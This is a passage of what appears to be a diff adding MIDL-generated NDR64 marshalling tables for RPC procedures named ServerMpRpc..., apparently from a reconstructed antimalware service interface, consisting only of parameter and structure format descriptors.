IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag52, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag714_t __midl_frag714 = +{ +/* Struct_1978_t */ + { + /* Struct_1978_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_1978_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag713_t __midl_frag713 = +{ +/* *Struct_1978_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag714 +}; + +static const __midl_frag712_t __midl_frag712 = +{ +/* **Struct_1978_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag713 +}; + +static const __midl_frag710_t __midl_frag710 = +{ +/* Proc68_ServerMpRpcSigUpdServiceQueryNotification */ + { + /* Proc68_ServerMpRpcSigUpdServiceQueryNotification */ /* procedure Proc68_ServerMpRpcSigUpdServiceQueryNotification */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 112 /* 0x70 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag712, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag692_t __midl_frag692 = +{ +/* Struct_1920_t */ + { + /* Struct_1920_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_1920_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 96 /* 0x60 */ + } +}; + +static const __midl_frag691_t __midl_frag691 = +{ +/* *Struct_1920_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag692 +}; + +static const __midl_frag689_t __midl_frag689 = +{ +/* Proc65_ServerMpRpcSpynetUpdateSpynetMetrics */ + { + /* Proc65_ServerMpRpcSpynetUpdateSpynetMetrics */ /* procedure Proc65_ServerMpRpcSpynetUpdateSpynetMetrics */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 196 /* 0xc4 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag692, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag685_t __midl_frag685 = +{ +/* Struct_28_t */ + { + /* Struct_28_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_28_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag684_t __midl_frag684 = +{ +/* *Struct_28_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag685 +}; + +static const __midl_frag682_t __midl_frag682 = +{ +/* Proc64_ServerMpRpcSpynetGetStartTime */ + { + /* Proc64_ServerMpRpcSpynetGetStartTime */ /* procedure Proc64_ServerMpRpcSpynetGetStartTime */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 88 /* 0x58 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag685, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag677_t __midl_frag677 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ /* Offset */ + } +}; + +static const __midl_frag676_t __midl_frag676 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag677 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag675_t __midl_frag675 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag676 +}; + +static const __midl_frag674_t __midl_frag674 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag675 +}; + +static const __midl_frag669_t __midl_frag669 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag668_t __midl_frag668 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag669 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag667_t __midl_frag667 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag668 +}; + +static const __midl_frag664_t __midl_frag664 = +{ +/* Struct_1872_t */ + { + /* Struct_1872_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1872_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag663_t __midl_frag663 = +{ +/* *Struct_1872_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag664 +}; + +static const __midl_frag661_t __midl_frag661 = +{ +/* Proc63_ServerMpRpcSpynetOnResponse */ + { + /* Proc63_ServerMpRpcSpynetOnResponse */ /* procedure Proc63_ServerMpRpcSpynetOnResponse */ + (NDR64_UINT32) 23986240 /* 0x16e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 72 /* 0x48 */ , /* Stack size */ + (NDR64_UINT32) 52 /* 0x34 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 9 /* 0x9 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag664, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag667, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag674, + { + /* arg_6 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2367, + { + /* arg_7 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + } +}; + +static const __midl_frag656_t __midl_frag656 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag655_t __midl_frag655 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag656 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag654_t __midl_frag654 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag655 +}; + +static const __midl_frag653_t __midl_frag653 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag654 +}; + +static const __midl_frag649_t __midl_frag649 = +{ +/* Proc62_ServerMpRpcSenseGenerateReport */ + { + /* Proc62_ServerMpRpcSenseGenerateReport */ /* procedure Proc62_ServerMpRpcSenseGenerateReport */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag653, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag633_t __midl_frag633 = +{ +/* Proc61_ServerMpRpcSpynetGenerateReport */ + { + /* Proc61_ServerMpRpcSpynetGenerateReport */ /* procedure Proc61_ServerMpRpcSpynetGenerateReport */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 220 /* 0xdc */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 8 /* 0x8 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag653, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag60, + { + /* arg_4 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag36, + { + /* arg_5 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, 